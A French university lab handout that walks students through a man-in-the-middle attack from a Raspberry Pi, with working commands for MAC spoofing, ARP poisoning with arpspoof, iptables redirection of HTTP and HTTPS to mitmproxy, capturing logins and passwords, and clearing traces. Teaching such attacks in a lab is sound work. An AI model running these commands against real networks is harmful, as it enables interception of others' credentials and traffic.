TP
« attaque Man in The Middle »

(Ph. Truillet)

Mars 2016 – v. 1.0

1. introduction

Durant ces travaux pratiques, nous allons travailler avec le système d'exploitation Debian sous Raspberry Pi et nous aborderons l'attaque de l'homme du milieu (MiTM).

L'attaque de l'homme du milieu ou *man-in-the-middle attack* (MITM) est une attaque qui a pour but d'intercepter les communications entre deux parties, sans que ni l'une ni l'autre ne puisse se douter que le canal de communication entre elles a été compromis. Le canal le plus courant est une connexion internet. L'attaquant doit dans un premier temps être en mesure d'observer et d'intercepter les messages d'une victime à l'autre et donc se trouver sur le réseau de l'attaqué.

2. Mac Changer

Une des premières choses à faire est d'éviter de se faire repérer … Pour ce faire, nous allons changer notre adresse MAC par une plus proche de l'adresse MAC du routeur du réseau (à un octet près).

Installez ensuite macchanger : **`sudo apt-get install macchanger`**

Éteignez l'interface réseau, modifiez l'adresse MAC et redémarrez l'interface

`sudo ifconfig eth0 down`

`sudo macchanger -m xx:xx:xx:xx:xx:xx eth0` où xx est un nombre hexadécimal

`sudo ifconfig eth0 up`

Exercice

Trouver l'adresse du routeur du réseau (en tapant la commande **`arp`**) puis changer l'adresse MAC de votre Raspberry Pi.

3. Mimproxy

Nous allons maintenant installer les outils nécessaires à l'attaque (c'est un peu long) :
Nous commençons à mettre à jour le RPi :

```
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
```

Installons ensuite les outils d'empoisonnement des tables arp

```
sudo apt-get install dsniff
```

Puis les outils nécessaires à la compilation de l'outil mitmproxy

```
sudo apt-get install libffi-dev python-dev python-setuptools libxml2-dev libxslt1-dev libssl-dev libjpeg8-dev
```

et encore les outils Python nécessaires à l'exécution (ouf !)

```
sudo pip install --upgrade pip
sudo pip install lxml
sudo pip install pathtools
sudo pip install argh
sudo pip install PyYAML
sudo pip install backports.ssl-match-hostname
sudo pip install pyasn1 --upgrade
sudo pip install passlib
sudo pip install cryptography
sudo pip install Pillow --upgrade
```

et enfin l'outil à proprement parler !

```
sudo pip install mitmproxy
```

Redémarrons et c'est prêt (si tout va bien)

```
sudo reboot
```

Dernière étape à valider, l'attaque ! On va se placer entre la victime et le routeur et rediriger le port 80 (trafic http) vers le 8080 (port utilisé par mitmproxy).

```
arpspoof -i eth0 -t <victim ip> <gateway ip> -r &
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
```

Et on lance le script mitmproxy : une interface devrait se lancer)

```
mitmproxy -T --host
```

Sur la machine attaquée, naviguez avec votre browser sur différents sites.
Allez par exemple sur le site suivant : `https://www.irit.fr/~Philippe.Truillet/ens/ens/m2ifcissd/site/` et essayez de récupérer les login et password.

Vous pouvez intercepter le trafic en appuyant sur la lettre i (*intercept*) puis une « *regex* » (expression rationnelle) comme celle-ci pour intercepter le trafic vers le site google.com

```
~s ~h "Host: .*\.google\.com" ~u /$
```

Regardez la documentation afin de changer la page renvoyée vers la victime (par exemple, à la place de renvoyer le véritable page, renvoyez un code *404 File Not Found*)

Avant de terminer, il faut s'assurer de ne pas laisser de traces. Arrêtez l'empoisonnement des tables arp et lancez les commandes suivantes :

```
iptables -t nat -L
sysctl -w net.ipv4.ip_forward=0
```

Exercice

Continuons l'attaque en redirigeant le protocole https (port 443) vers mimproxy.

```
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
```

Avec l'ordinateur attaqué, naviguez sur des sites utilisant https (gmail, facebook, …). Que se passe-t-il ? Comment y remédier ?

4. Allez plus loin

- `http://docs.mitmproxy.org/en/latest/mitmdump.html`
- `http://jeffq.com/blog/setting-up-a-man-in-the-middle-device-with-raspberry-pi-part-1`
- `https://blog.heckel.xyz/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone`

Distributions linux de Pentesting

- `Kali - https://www.kali.org/`
- `PwnPi - http://pwnpi.sourceforge.net/`
- `Cyborghawk - https://sourceforge.net/projects/cyborghawk1`